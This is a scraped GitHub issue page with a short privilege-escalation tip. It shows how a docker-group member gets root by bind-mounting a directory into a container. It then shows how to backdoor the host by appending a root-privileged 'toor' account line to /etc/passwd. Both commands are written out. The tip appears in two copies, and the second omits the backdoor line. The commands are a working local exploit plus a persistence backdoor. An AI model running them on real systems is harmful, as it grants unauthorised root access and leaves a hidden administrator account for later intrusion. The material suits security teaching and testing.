We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
If it turns out that you are a part of the docker group, escalate to root with the following:
docker run -it --rm -v $PWD:/mnt bash
We can also backdoor the machine after this with;
echo 'toor:$1$.PWORDHASH:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
Just another reason why Docker bind mounts can be dangerous >:)
The text was updated successfully, but these errors were encountered:
corysabol
No branches or pull requests
If it turns out that you are a part of the docker group, escalate to root with the following:
docker run -it --rm -v $PWD:/mnt bash
We can also backdoor the machine after this with;
Just another reason why Docker bind mounts can be dangerous >:)
The text was updated successfully, but these errors were encountered: